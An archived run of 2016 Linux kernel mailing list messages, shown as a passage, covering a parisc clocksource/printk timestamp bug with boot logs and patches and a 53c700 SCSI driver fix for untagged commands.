	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jun 2016 23:23:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932123AbcFNVXr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 17:23:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:58334 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932121AbcFNVXp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 17:23:45 -0400
Original-Received: from [192.168.20.60] ([92.203.33.18]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0LkCU2-1bp1iE212Q-00cDUf; Tue, 14 Jun 2016 23:23:36
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1606141216510.29159@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:SG9Ivkfq3G8swzC3PVYovUi96bMg8+ZTCgZi3+QA15BK9LOl9CI
 6suwMBA69e9bz7AUKK03xy0IuyDQJaPaadQpPVDAUvOJm0BxUV7ElxWsOo8swM/7jVxRQT3
 ji2xO1mcsXb6IPeT77Ge/a2axcepX5mblTk3VyoCl3KCQqGryqrtKKLXNuKoE2JxGDIDIZV
 2v48eR6m2R/A+sbNsczfw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Fnk/9qqf4Yw=:uZUHZZGP4lN8tHsduWlz9v
 VccvMYIGu/rcjpReedmk/HneYd3bEEJ4z+GsU1MS/BsPCIZM4j+79CK1MiDUFuw0H40kl96tm
 495pqQRvxbT3FUXsRllyiTO7ljJtBOOeAMjmwL7MGhrxnil2DQaQaz1bJLkgHUoBT7ER+U/GE
 TZBxANOwTe+4e4kr0iD12w2p5PCpV+PvLzfjzwT/IJpY5R/q0uOOjHzQpar0Ph0R6pBfhWtLL
 0XlYMITHYJni2ILw3vvQ4R5QjJ0pGEzKivYmVkmYN/1mtNB8nKODbQ4EWlPxknGwpCwk3VDwv
 y8tpER5KW9krydbaaBbCChtgN8cDBfD6lLjiZQ6L/ME+2AUQm5QjLWkJd8p9R4tq0zsrmTVvr
 gl3zIahQt1u+9IbkPUWFNtBd4cWKJsh2ntFPubGc/uwzFBNqHCZNkk7HcfUDbYfbDTUB1ERHZ
 4xDwvdorf4qUJU30MhP8VCfioDVbdMOYhHwqSfTOJcZzMmBHo9be7LNBNXzE79s+NEiUfMBuJ
 IZ8/N7bUWVVBcyQKyPHCe1auTb8S3HIQQ2lzQ7ujrFTnKdJQKDC64Ixp3kma6okT8lh8q3Ojy
 383y2gpLbKyhpSKLgI1xSe+ICEwGeBVAqoI71pJEdCq3pIhPUlDcpT+Rx32F5L0I7Q+xdiwGb
 ZmFzL9miz271ao9xSYeIQHYI2s1yRaALlELRGkFHpezCjqexZ4tBc7ZnBTATk3ucDtn7C5pjU
 omzroO48vrVz/OiOi8LKAps2mLhi2U1A3EuF78wUdJnAouI8XwpETutWDkzNuCqnE59ubobw 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26902>

Hi Mikulas,

On 14.06.2016 18:20, Mikulas Patocka wrote:
> There is another bug: when you enable CONFIG_DEBUG_TIMEKEEPING, parisc 
> boot gets stuck with these messages.

Nice catch!

> (but it is not caused by the patch 
> 54b668009076caddbede8fde513ca2c982590bfe, because this bug happens even in 
> kernel 4.6).

Seems to be a generic upstream problem.
Would be nice to know if it happens on x86_64 as well.

I tried this patch (copy&pasted):

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 31ec99a..85e7bb7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -217,9 +217,16 @@ static struct clocksource clocksource_cr16 = {
        .rating                 = 300,
        .read                   = read_cr16,
        .mask                   = CLOCKSOURCE_MASK(BITS_PER_LONG),
+        .mult           = 1000,
+        .shift          = 12,
        .flags                  = CLOCK_SOURCE_IS_CONTINUOUS,
 };
 
+struct clocksource * __init clocksource_default_clock(void)
+{
+        return &clocksource_cr16;
+}
+
 int update_cr16_clocksource(void)
 {
        /* since the cr16 cycle counters are not synchronized across CPUs,

which gives:
[    0.000000] clocksource: cr16: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 29863444473 ns
[    0.000000] Console: colour dummy device 128x48
[    0.012938] Calibrating delay loop... 63.07 BogoMIPS (lpj=315392)
[    0.012938] pid_max: default: 32768 minimum: 301
[    0.014235] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.014235] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[    0.019359] Adjusting cr16 more than 11% (1000 vs -1967128576)
[    0.019359] Brought up 1 CPUs
[    0.020634] devtmpfs: initialized
[    0.022716] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[    0.022716] NET: Registered protocol family 16

Still puzzled...

Helge

 
> Mikulas
> 
> [    0.000000] Memory: 7201556K/7337984K available (4096K kernel code, 1419K rwdata, 883K rodata, 176K init, 2296K bss, 136428K reserved, 0K cma-reserved)
> [    0.000000] virtual kernel memory layout:
> [    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
> [    0.000000]     memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
> [    0.000000]       .init : 0x0000000040100000 - 0x000000004012c000   ( 176 kB)
> [    0.000000]       .data : 0x000000004052c000 - 0x000000004076bb60   (2302 kB)
> [    0.000000]       .text : 0x000000004012c000 - 0x000000004052c000   (4096 kB)
> [    0.000000] SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=4, Nodes=8
> [    0.000000] Hierarchical RCU implementation.
> [    0.000000]  Build-time adjustment of leaf fanout to 64.
> [    0.000000] NR_IRQS:80
> [    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
> [    0.133333] WARNING: timekeeping: Cycle offset (40) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.133333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.133333] Console: colour dummy device 160x64
> [    0.303333] WARNING: timekeeping: Cycle offset (51) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.303333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.423333] WARNING: timekeeping: Cycle offset (36) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.423333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.483333] WARNING: timekeeping: Cycle offset (18) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.483333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.653333] WARNING: timekeeping: Cycle offset (51) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.653333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.769999] WARNING: timekeeping: Cycle offset (35) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.769999]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> [    0.943333] WARNING: timekeeping: Cycle offset (52) is larger than allowed by the 'jiffies' clock's max_cycles value (10): time overflow danger
> [    0.943333]          timekeeping: Your kernel is sick, but tries to cope by capping time updates
> 
> 
> On Wed, 1 Jun 2016, Helge Deller wrote:
> 
>> * Mikulas Patocka <mpatocka@redhat.com>:
>>> Hi
>>>
>>> With the kernel 4.7-rc1, I get corrupted printk times when the machine 
>>> boots. The kernel is compiled with "Show timing information on printks" 
>>> (CONFIG_PRINTK_TIME) enabled. There are no other negative effects.
>>>
>>> Bisecting shows that it is caused by the patch 
>>> 54b668009076caddbede8fde513ca2c982590bfe ("parisc: Add native 
>>> high-resolution sched_clock() implementation").
>>>
>>> [    0.000000] NR_IRQS:80
>>> [    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
>>> [    0.000000] Console: colour dummy device 160x64
>>> [   90.122205] Calibrating delay loop... 1991.60 BogoMIPS (lpj=3317760)
>>> [   90.224168] pid_max: default: 32768 minimum: 301
>>> ....
>>> [   92.235878] 13. Crestone Peak Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
>>> [   92.708000] Releasing cpu 1 now, hpa=fffffffffe781000
>>> [   92.818803] FP[1] enabled: Rev 1 Model 20
>>> [    2.917508] Releasing cpu 2 now, hpa=fffffffffe798000
>>> [    0.196666] FP[2] enabled: Rev 1 Model 20
>>> [    3.116794] Releasing cpu 3 now, hpa=fffffffffe799000
>>> [    0.196666] FP[3] enabled: Rev 1 Model 20
>>> [    3.296942] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
>>> [    3.447762] Setting cache flush threshold to 65536 kB
>>> [    3.450548] Setting TLB flush threshold to 1020 kB
>>
>> Please try attached patch.
>>
>> It fixes the problem mostly for me, there is just one little glitch
>> left, which is that the lines "FP[x] enabled" will still print an
>> invalid time. I assume it's because when this text is printed, the
>> clock/interrupts for the just booted CPU aren't enabled yet.
>>
>> I'm not sure it's worth trying to fix that. 
>> One could print out that info at a later time, or just disabled it.
>>
>> Helge
>>
>> [    5.720014] Enabling PDC_PAT chassis codes support v0.05
>> [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
>> [    0.196000] FP[1] enabled: Rev 1 Model 20
>> [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
>>
>> -----------
>>
>> [PATCH] parisc: Fix printk time during boot
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
>> index 58dd680..31ec99a 100644
>> --- a/arch/parisc/kernel/time.c
>> +++ b/arch/parisc/kernel/time.c
>> @@ -309,11 +309,6 @@ void __init time_init(void)
>>  	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
>>  				NSEC_PER_MSEC, 0);
>>  
>> -#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
>> -	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
>> -	set_sched_clock_stable();
>> -#endif
>> -
>>  	start_cpu_itimer();	/* get CPU 0 started */
>>  
>>  	/* register at clocksource framework */
>>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 22:00:59 -0400
Organization: Oracle Corporation
Lines: 21
Approved: news@gmane.org
Message-ID: <yq1shwfb484.fsf@sermon.lab.mkp.net>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1465956101 19379 80.91.229.3 (15 Jun 2016 02:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2016 02:01:41 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 15 04:01:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bD091-0008I4-Re
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Jun 2016 04:01:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752901AbcFOCB1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 22:01:27 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:44426 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752526AbcFOCB0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 22:01:26 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u5F212Qk014598
	(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Wed, 15 Jun 2016 02:01:02 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
	by userv0022.oracle.com (8.14.4/8.13.8) with ESMTP id u5F212m6023908
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Wed, 15 Jun 2016 02:01:02 GMT
Original-Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23])
	by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id u5F211Ra003244;
	Wed, 15 Jun 2016 02:01:02 GMT
Original-Received: from ca-mkp.ca.oracle.com (/10.159.214.123)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 14 Jun 2016 19:01:01 -0700
In-Reply-To: <1465880407.18583.18.camel@linux.vnet.ibm.com> (James Bottomley's
	message of "Mon, 13 Jun 2016 22:00:07 -0700")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26903 gmane.linux.scsi:114351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26903>

>>>>> "James" == James Bottomley <jejb@linux.vnet.ibm.com> writes:

James> The untagged command case in the 53c700 driver has been broken
James> since host wide tags were enabled because the replaced
James> scsi_find_tag() function had a special case for the tag value
James> SCSI_NO_TAG to retrieve sdev-> current_cmnd.  The replacement
James> function scsi_host_find_tag() has no such special case and
James> returns NULL causing untagged commands to trigger a BUG() in the
James> driver.  Inspection shows that the 53c700 is the only driver
James> using this SCSI_NO_TAG case, so a local fix in the driver
James> suffices to fix this problem globally.

Applied to 4.7/scsi-fixes.

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 22:03:58 -0400
Organization: Oracle Corporation
Lines: 14
Approved: news@gmane.org
Message-ID: <yq1oa73b435.fsf@sermon.lab.mkp.net>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
	<20160614150555.GA698@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1465956282 21519 80.91.229.3 (15 Jun 2016 02:04:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2016 02:04:42 +0000 (UTC)
Cc: James Bottomley <jejb@linux.vnet.ibm.com>,
	linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 15 04:04:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bD0Bz-0001RK-AH
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Jun 2016 04:04:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932114AbcFOCEa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 22:04:30 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:45158 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932084AbcFOCEa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 22:04:30 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u5F244Cf016999
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 15 Jun 2016 02:04:04 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
	by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id u5F244ND013257
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 15 Jun 2016 02:04:04 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
	by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id u5F243EY004438;
	Wed, 15 Jun 2016 02:04:04 GMT
Original-Received: from ca-mkp.ca.oracle.com (/10.159.214.123)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 14 Jun 2016 19:04:03 -0700
In-Reply-To: <20160614150555.GA698@infradead.org> (Christoph Hellwig's message
	of "Tue, 14 Jun 2016 08:05:55 -0700")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26904 gmane.linux.scsi:114352
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26904>

>>>>> "Christoph" == Christoph Hellwig <hch@infradead.org> writes:

Christoph> But it should really go together with something like this:

I completely agree with your patch but it's more of a cleanup. I'll put
it in 4.8 once James' fix hits.

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jejb@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Tue, 14 Jun 2016 20:31:51 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <1465961511.2273.107.camel@linux.vnet.ibm.com>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
	 <20160614150555.GA698@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465961539 28637 80.91.229.3 (15 Jun 2016 03:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2016 03:32:19 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 15 05:32:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bD1Yf-0000Dp-Nx
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Jun 2016 05:32:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161143AbcFODb7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jun 2016 23:31:59 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:37757 "EHLO
	mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1161038AbcFODb5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jun 2016 23:31:57 -0400
Original-Received: from pps.filterd (m0098413.ppops.net [127.0.0.1])
	by mx0b-001b2d01.pphosted.com (8.16.0.11/8.16.0.11) with SMTP id u5F3Smfb060556
	for <linux-parisc@vger.kernel.org>; Tue, 14 Jun 2016 23:31:57 -0400
Original-Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.149])
	by mx0b-001b2d01.pphosted.com with ESMTP id 23jswakh35-1
	(version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Tue, 14 Jun 2016 23:31:56 -0400
Original-Received: from localhost
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <jejb@linux.vnet.ibm.com>;
	Tue, 14 Jun 2016 21:31:56 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 14 Jun 2016 21:31:54 -0600
X-IBM-Helo: d03dlp01.boulder.ibm.com
X-IBM-MailFrom: jejb@linux.vnet.ibm.com
X-IBM-RcptTo: hch@infradead.org;linux-parisc@vger.kernel.org;linux-scsi@vger.kernel.org
Original-Received: from b03cxnp08028.gho.boulder.ibm.com (b03cxnp08028.gho.boulder.ibm.com [9.17.130.20])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 17DD01FF0049;
	Tue, 14 Jun 2016 21:31:38 -0600 (MDT)
Original-Received: from b03ledav001.gho.boulder.ibm.com (b03ledav001.gho.boulder.ibm.com [9.17.130.232])
	by b03cxnp08028.gho.boulder.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id u5F3VscM36503664;
	Tue, 14 Jun 2016 20:31:54 -0700
Original-Received: from b03ledav001.gho.boulder.ibm.com (unknown [127.0.0.1])
	by IMSVA (Postfix) with ESMTP id EDBF66E03D;
	Tue, 14 Jun 2016 21:31:53 -0600 (MDT)
Original-Received: from [153.66.254.194] (unknown [9.80.221.81])
	by b03ledav001.gho.boulder.ibm.com (Postfix) with ESMTPS id 2CB6C6E038;
	Tue, 14 Jun 2016 21:31:53 -0600 (MDT)
In-Reply-To: <20160614150555.GA698@infradead.org>
X-Mailer: Evolution 3.16.5 
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 16061503-8235-0000-0000-000008979984
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 16061503-8236-0000-0000-0000323CBCAE
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2016-06-15_02:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1604210000
 definitions=main-1606150038
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26905 gmane.linux.scsi:114357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26905>

On Tue, 2016-06-14 at 08:05 -0700, Christoph Hellwig wrote:
> Looks fine:
> 
> Acked-by: Christoph Hellwig <hch@lst.de>
> 
> But it should really go together with something like this:

Well, we need the simplest fix to backport, which is why I sent what I
did.

> ---
> From e54d1462ae244db3189a8b69018bc5f3e3d3b468 Mon Sep 17 00:00:00
> 2001
> From: Christoph Hellwig <hch@lst.de>
> Date: Tue, 14 Jun 2016 17:04:10 +0200
> Subject: scsi: move current_cmnd into the 53c700 driver
> 
> The 53c700 driver is the only user of the current_cmnd field in
> struct scsi_device, so let's move it into the driver private data.

The style in the driver is to use accessor functions for device
parameters, but I don't see it matters much since the day anyone would
write a new SPI driver (for which this was often the template) is long
gone.

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannes Reinecke <hare@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] 53c700: fix BUG on untagged commands
Date: Wed, 15 Jun 2016 08:41:05 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <5760F881.9070108@suse.de>
References: <1465880407.18583.18.camel@linux.vnet.ibm.com>
 <20160614150555.GA698@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1465972895 20138 80.91.229.3 (15 Jun 2016 06:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2016 06:41:35 +0000 (UTC)
Cc: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Christoph Hellwig <hch@infradead.org>,
	James Bottomley <jejb@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 15 08:41:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bD4Vn-0006zj-Av
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 Jun 2016 08:41:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753123AbcFOGlK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Jun 2016 02:41:10 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:58930 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752384AbcFOGlH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Jun 2016 02:41:07 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id DF76BAC0C;
	Wed, 15 Jun 2016 06:41:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.0
In-Reply-To: <20160614150555.GA698@infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26906 gmane.linux.scsi:114359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26906>

On 06/14/2016 05:05 PM, Christoph Hellwig wrote:
> Looks fine:
>=20
> Acked-by: Christoph Hellwig <hch@lst.de>
>=20
> But it should really go together with something like this:
>=20
> ---
> From e54d1462ae244db3189a8b69018bc5f3e3d3b468 Mon Sep 17 00:00:00 200=
1
> From: Christoph Hellwig <hch@lst.de>
> Date: Tue, 14 Jun 2016 17:04:10 +0200
> Subject: scsi: move current_cmnd into the 53c700 driver
>=20
> The 53c700 driver is the only user of the current_cmnd field in
> struct scsi_device, so let's move it into the driver private data.
>=20
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  drivers/scsi/53c700.c      | 8 +++++---
>  drivers/scsi/53c700.h      | 1 +
>  include/scsi/scsi_device.h | 1 -
>  3 files changed, 6 insertions(+), 4 deletions(-)
>=20
